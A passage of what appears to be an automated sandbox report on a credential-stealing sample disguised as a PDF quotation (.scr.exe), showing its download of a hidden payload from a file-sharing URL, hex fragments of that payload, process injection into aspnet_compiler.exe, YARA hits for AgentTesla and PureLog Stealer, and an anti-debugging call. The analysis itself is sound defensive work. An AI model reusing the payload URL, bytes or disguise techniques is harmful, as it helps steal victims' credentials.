2024-04-23 12:44:55 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 32 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 66 4e 74 70 61 53 46 7a 57 45 7a 5a 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s22.filetransfer.io/storage/download/fNtpaSFzWEzZ">Please click here to continue</a>.</p>
2024-04-23 12:44:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	104.21.13.139	443	5356	C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 12:44:56 UTC	98	OUT	GET /storage/download/fNtpaSFzWEzZ HTTP/1.1 Host: s22.filetransfer.io Connection: Keep-Alive
2024-04-23 12:44:56 UTC	1058	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 12:44:56 GMT Content-Type: application/octet-stream Content-Length: 9052214 Connection: close Last-Modified: Mon, 22 Apr 2024 08:59:18 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=49ffa41de395a046ce3b9dd0a0215520; expires=Tue, 07-May-2024 12:44:56 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Jmoilxieddb.vdf" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "662626e6-8a2036" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rt73jCno6SkDZz1bXRGaujXOsVOtyNPbDAr9rQjE8KntK2L1CLI6fECCM191mnOSxvwNcRQyXqAyFCCx4iJbKZRg45JohF5jmDIWt3bZEnOd%2Fq8qD5dH%2B5ovIMJozxesHyH2EVu%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878df2a39cc96783-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 12:44:56 UTC	311	IN	Data Raw: 42 4d 36 20 8a 00 00 00 00 00 36 00 00 00 28 00 00 00 00 88 22 00 01 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 c4 0e 00 00 c4 0e 00 00 00 00 00 00 00 00 00 00 4d 00 00 ff 5a 00 00 ff 90 00 00 ff 00 00 00 ff 03 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 04 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ff 00 00 ff ff 00 00 ff 00 00 00 ff 00 00 00 ff b8 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 40 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 Data Ascii: BM6 6(" MZ@
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 00 00 ff 1f 00 00 ff ba 00 00 ff 0e 00 00 ff 00 00 00 ff b4 00 00 ff 09 00 00 ff cd 00 00 ff 21 00 00 ff b8 00 00 ff 01 00 00 ff 4c 00 00 ff cd 00 00 ff 21 00 00 ff 54 00 00 ff 68 00 00 ff 69 00 00 ff 73 00 00 ff 20 00 00 ff 70 00 00 ff 72 00 00 ff 6f 00 00 ff 67 00 00 ff 72 00 00 ff 61 00 00 ff 6d 00 00 ff 20 00 00 ff 63 00 00 ff 61 00 00 ff 6e 00 00 ff 6e 00 00 ff 6f 00 00 ff 74 00 00 ff 20 00 00 ff 62 00 00 ff 65 00 00 ff 20 00 00 ff 72 00 00 ff 75 00 00 ff 6e 00 00 ff 20 00 00 ff 69 00 00 ff 6e 00 00 ff 20 00 00 ff 44 00 00 ff 4f 00 00 ff 53 00 00 ff 20 00 00 ff 6d 00 00 ff 6f 00 00 ff 64 00 00 ff 65 00 00 ff 2e 00 00 ff 0d 00 00 ff 0d 00 00 ff 0a 00 00 ff 24 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff Data Ascii: !L!This program cannot be run in DOS mode.$
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 20 00 00 ff 00 00 00 ff 00 00 00 ff 60 00 00 ff 2e 00 00 ff 72 00 00 ff 73 00 00 ff 72 00 00 ff 63 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 2c 00 00 ff 03 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff a0 00 00 ff 22 00 00 ff 00 00 00 ff 00 00 00 ff 04 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 82 00 00 ff 22 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 40 00 00 ff 00 00 00 ff 00 00 00 ff c0 00 00 ff 2e 00 00 ff 72 00 00 ff 65 00 00 ff 6c 00 00 ff 6f 00 00 ff 63 00 00 ff 00 00 00 ff 00 00 00 ff 0c 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff c0 00 00 ff 22 Data Ascii: `.rsrc,""@.reloc"
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: ff 90 00 00 ff 75 00 00 ff 46 00 00 ff 2a 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 3a 00 00 ff 2b 00 00 ff 05 00 00 ff 28 00 00 ff e0 00 00 ff 02 00 00 ff 44 00 00 ff 3f 00 00 ff 00 00 00 ff 28 00 00 ff 02 00 00 ff 00 00 00 ff 00 00 00 ff 06 00 00 ff 2a 00 00 ff 00 00 00 ff 3a 00 00 ff 2b 00 00 ff 05 00 00 ff 28 00 00 ff 0d 00 00 ff 92 00 00 ff 15 00 00 ff 61 00 00 ff 00 00 00 ff 28 00 00 ff e4 00 00 ff 19 00 00 ff 00 00 00 ff 06 00 00 ff 2a 00 00 ff 00 00 00 ff 3a 00 00 ff 2b 00 00 ff 05 00 00 ff 28 00 00 ff ca 00 00 ff 5a 00 00 ff 6a 00 00 ff 4a 00 00 ff 00 00 00 ff 28 00 00 ff a5 00 00 ff 02 00 00 ff 00 00 00 ff 06 00 00 ff 2a 00 00 ff 00 00 00 ff 42 00 00 ff 2b 00 00 ff 05 00 00 ff 28 00 00 ff 11 00 00 ff 6c 00 00 ff 6a 00 00 ff 66 00 00 ff 7e 00 Data Ascii: uF:+(D?(:+(a(:+(ZjJ(B+(ljf~
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 2a 00 00 ff 13 00 00 ff 30 00 00 ff 03 00 00 ff 00 00 00 ff 04 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 2a 00 00 ff 42 00 00 ff 28 00 00 ff 0f 00 00 ff 19 00 00 ff 00 00 00 ff 06 00 00 ff 7e 00 00 ff b7 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 28 00 00 ff 5b 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 2a 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 12 00 00 ff 00 00 00 ff 00 00 00 ff 14 00 00 ff 2a 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 12 00 00 ff 00 00 00 ff 00 00 00 ff 14 00 00 ff 2a 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 12 00 00 ff 00 00 00 ff 00 00 00 ff 14 00 00 ff 2a 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 12 00 00 ff 00 00 00 ff 00 00 00 Data Ascii: 0B(~([****
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 00 00 ff 00 00 00 ff 00 00 00 ff 3b 00 00 ff 02 00 00 ff 00 00 00 ff 00 00 00 ff 2e 00 00 ff 03 00 00 ff 00 00 00 ff 00 00 00 ff 0b 00 00 ff 09 00 00 ff 00 00 00 ff 00 00 00 ff f8 00 00 ff 09 00 00 ff 00 00 00 ff 00 00 00 ff d3 00 00 ff 06 00 00 ff 00 00 00 ff 00 00 00 ff 38 00 00 ff e2 00 00 ff 07 00 00 ff 00 00 00 ff 00 00 00 ff 20 00 00 ff 51 00 00 ff 2c 00 00 ff a1 00 00 ff 85 00 00 ff 65 00 00 ff 20 00 00 ff 6f 00 00 ff ac 00 00 ff 73 00 00 ff 47 00 00 ff 61 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 69 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 61 00 00 ff 7e 00 00 ff c3 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 28 00 00 ff 8b 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 20 00 00 ff 76 00 00 ff 40 00 00 ff Data Ascii: ;.8 Q,e osGa~{ia~( v@
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 20 00 00 ff 6d 00 00 ff 67 00 00 ff a3 00 00 ff 87 00 00 ff 20 00 00 ff ae 00 00 ff 2f 00 00 ff 25 00 00 ff bd 00 00 ff 61 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 4e 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 61 00 00 ff 7e 00 00 ff c3 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 28 00 00 ff 8b 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 28 00 00 ff 05 00 00 ff 00 00 00 ff 00 00 00 ff 2b 00 00 ff 80 00 00 ff 3b 00 00 ff 00 00 00 ff 00 00 00 ff 04 00 00 ff 20 00 00 ff 01 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 27 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 3a 00 00 ff f2 00 00 ff fd 00 00 ff ff Data Ascii: mg /%a~{Na~((+; ~{':
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: ff 7b 00 00 ff 20 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 39 00 00 ff d3 00 00 ff fc 00 00 ff ff 00 00 ff ff 00 00 ff 26 00 00 ff 20 00 00 ff 04 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 38 00 00 ff c8 00 00 ff fc 00 00 ff ff 00 00 ff ff 00 00 ff 7e 00 00 ff b7 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 28 00 00 ff 5b 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 20 00 00 ff 02 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 37 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 3a 00 00 ff aa 00 00 ff fc 00 00 ff ff 00 00 ff ff 00 00 ff 26 00 00 ff 20 00 00 ff 02 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 38 00 00 ff 9f 00 00 ff fc 00 00 ff ff 00 00 ff ff 00 00 ff 20 00 00 ff 9d 00 Data Ascii: { 9& 8~([ ~{7:& 8
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 20 00 00 ff d3 00 00 ff 20 00 00 ff 81 00 00 ff 7b 00 00 ff 20 00 00 ff 01 00 00 ff d8 00 00 ff 5c 00 00 ff 21 00 00 ff 61 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 36 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 61 00 00 ff 7e 00 00 ff c3 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 28 00 00 ff 8b 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 20 00 00 ff 66 00 00 ff 6c 00 00 ff 12 00 00 ff dc 00 00 ff 20 00 00 ff 03 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 63 00 00 ff 20 00 00 ff 0a 00 00 ff 33 00 00 ff af 00 00 ff c6 00 00 ff 61 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 69 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 61 00 00 ff 7e 00 00 ff c3 00 00 ff 0b 00 00 ff 00 00 00 Data Ascii: { \!a~{6a~( fl c 3a~{ia~
2024-04-23 12:44:56 UTC	1369	IN	Data Raw: 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 28 00 00 ff 0f 00 00 ff 00 00 00 ff 00 00 00 ff 2b 00 00 ff 80 00 00 ff 30 00 00 ff 00 00 00 ff 00 00 00 ff 04 00 00 ff 20 00 00 ff 13 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 38 00 00 ff 19 00 00 ff fa 00 00 ff ff 00 00 ff ff 00 00 ff 20 00 00 ff e3 00 00 ff 04 00 00 ff a6 00 00 ff c2 00 00 ff 65 00 00 ff 20 00 00 ff 43 00 00 ff 86 00 00 ff 65 00 00 ff 78 00 00 ff 61 00 00 ff 7e 00 00 ff 88 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 7b 00 00 ff 20 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 61 00 00 ff 7e 00 00 ff c3 00 00 ff 0b 00 00 ff 00 00 00 ff 04 00 00 ff 28 00 00 ff 8b 00 00 ff 1e 00 00 ff 00 00 00 ff 06 00 00 ff 20 00 00 ff 6f 00 00 ff 83 00 00 ff cc 00 00 ff 74 00 00 ff 20 00 00 ff fb 00 00 ff Data Ascii: (+0 8 e Cexa~{ a~( ot

Target ID:	0
Start time:	14:44:52
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe"
Imagebase:	0x820000
File size:	249'072 bytes
MD5 hash:	715A6E943FBAF2E9205A70E391D0FD1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2242734994.00000000070F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2226154366.00000000044F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2222485023.0000000002B95000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2246378336.0000000009090000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2226154366.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:45:51
Start date:	23/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0xc80000
File size:	56'368 bytes
MD5 hash:	FDA8C8F2A4E100AFB14C13DFCBCAB2D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2896066000.0000000003075000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.8%
Total number of Nodes:	213
Total number of Limit Nodes:	7

Executed Functions

Function 072007B0 Relevance: 3.1, Strings: 2, Instructions: 639
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07200A7E
Pl^q, xrefs: 07200998

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: Pl^q$$^q
API String ID: 0-2677662154
Opcode ID: 141857f5f730b912178e4bfe3df267d3ac268b28ae1723cb1d38a12538d67f3d
Instruction ID: 3332788ca9bd6e7b672984074e88d013e0c77323b30d41e3aa2ec457dc2f71e8
Opcode Fuzzy Hash: 141857f5f730b912178e4bfe3df267d3ac268b28ae1723cb1d38a12538d67f3d
Instruction Fuzzy Hash: 84322AB4B1020A8FDB24DF29C484B6A77E6FF89701F1584A9D505DB3A2DB71EC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07480196 Relevance: 2.7, Strings: 2, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

puT, xrefs: 07480221
OgD, xrefs: 074804C7

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: OgD$puT
API String ID: 0-340461722
Opcode ID: 5517858ab3e80b18cf6ff93e4712f9de4ce91a93ddb4f7f1610902942d62f103
Instruction ID: b882592e07a72faf3aa8d27cb0afe0b36dab1ef96f1be95d96819288220d3071
Opcode Fuzzy Hash: 5517858ab3e80b18cf6ff93e4712f9de4ce91a93ddb4f7f1610902942d62f103
Instruction Fuzzy Hash: AFC1B3B4A5121CCFCBA4EF28D898BE9B7F1EB49314F1045EAD409A72A0DB755E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0720CDB8 Relevance: 2.1, Strings: 1, Instructions: 804
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 0720D0C8

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 671772cb2525b5e1164d5892605fa6250c362bc162805303f352d24225453ec0
Instruction ID: 27fe08f5affb2cc9ccfe10f688c63464f3b3bbc194095602901d16c09cdd6a74
Opcode Fuzzy Hash: 671772cb2525b5e1164d5892605fa6250c362bc162805303f352d24225453ec0
Instruction Fuzzy Hash: 4C629AB4B116168FCB15CFA9C494A6EBBF2FF88300F148529D55AD7382DB34E941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07480D3C Relevance: 1.6, Strings: 1, Instructions: 323COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0748107D

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: d94a69444f0ff12d412205f0b3caa8abacd4708622094d5eb8e487ec8c4bbde0
Instruction ID: 0c779103cdf3acc1d069a8ed39e092e2e2a8d06a0c27e34c1a8c1f0847ff3c34
Opcode Fuzzy Hash: d94a69444f0ff12d412205f0b3caa8abacd4708622094d5eb8e487ec8c4bbde0
Instruction Fuzzy Hash: B8F1B2B091521DCFDBA0EF24D898BEDB7F1AB0A304F5095EAD409A7291D7759A86CF00

Uniqueness

Uniqueness Score: -1.00%

Function 07485470 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 074854E7

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: e2b756465a03b600568e55cc16f9b68ab16c139730d5f8745a4dfb26f54f64a0
Instruction ID: 3a846686ad948c1669ad89da6765bf4f6f884c7b628d6a14b73104aef48440d5
Opcode Fuzzy Hash: e2b756465a03b600568e55cc16f9b68ab16c139730d5f8745a4dfb26f54f64a0
Instruction Fuzzy Hash: A2216DB19003498FDB14DFAAC4457EEFBF5AF89320F14842ED459A7280DB389A45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05C0583F Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58afde5fcf61e0cc7347a8b2081455377d2cd45f7a49b1f418fdce62cd3714b1
Instruction ID: f4f160567cfb05a00403e9a36298e52141d131b2ab07a511b518ca23d2b99eff
Opcode Fuzzy Hash: 58afde5fcf61e0cc7347a8b2081455377d2cd45f7a49b1f418fdce62cd3714b1
Instruction Fuzzy Hash: 4AC15B70D05218CFDB14DFA9E484BADBBF2FB49300F109569D409AB2A5DB759E86CF10

Uniqueness

Uniqueness Score: -1.00%

Function 07487FB0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c37990abf411b2a1bdd8caeff576bfde89d1a91ed452a13a52664a88c4782f
Instruction ID: d31d39aaaee0cdbcad6494f427d83bce69650f412b3921446143cbb14f32a743
Opcode Fuzzy Hash: b9c37990abf411b2a1bdd8caeff576bfde89d1a91ed452a13a52664a88c4782f
Instruction Fuzzy Hash: ADB16DB0E1020ECFDB54DFA9C8857DEBBF6AF89304F54812AD415A7394EB349845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 05C007F9 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8eba3b6cbae1d98d195233c9bfa9a303cbcc38fe614b2dffc58afb911707133
Instruction ID: 734d4acb1952b6f0a8d4fe69b10a4f25d4c99207757bfed0d278133e421ffa88
Opcode Fuzzy Hash: a8eba3b6cbae1d98d195233c9bfa9a303cbcc38fe614b2dffc58afb911707133
Instruction Fuzzy Hash: AFC11570E06208CFDB54DF69D848BADBBF2FB49300F91A5AAD409B7295DB705A81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 05C00808 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ded00ae86b278f9b54ae65146138b2fd51ea3fe68b64bbcd3a5121aa0549dab
Instruction ID: da7b6c5059acb529d53fe0c4efa63cb8f9fd0a9f5c66415f9f6a85a28ecd0a0c
Opcode Fuzzy Hash: 3ded00ae86b278f9b54ae65146138b2fd51ea3fe68b64bbcd3a5121aa0549dab
Instruction Fuzzy Hash: D7C12670E06208CFDB54DF69D848BADBBF2FB49300F91A5AAD009B7295DB705A81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 07488880 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10f1422bff557b86a56d21d80680d4d23111471e687dd4ca78f33e30f6959c3
Instruction ID: 47f034607fe2f87801410e2fdc5723e89055e45c36becd64122a8d7de8ecf58b
Opcode Fuzzy Hash: b10f1422bff557b86a56d21d80680d4d23111471e687dd4ca78f33e30f6959c3
Instruction Fuzzy Hash: 27B182B0E1020ECFDB50DFA9C8817EEBBF6AF89314F54852AE414A7394EB749845CB41

Uniqueness

Uniqueness Score: -1.00%

Function 074806D7 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b06c7e37f51905b95ee96c8becb67ca0db427b9e3c0311064e921464952efc1
Instruction ID: 642e2c0b459a6c2c18314d335359aee0f0a7ad052e0394fff2cdeaed1cacf8db
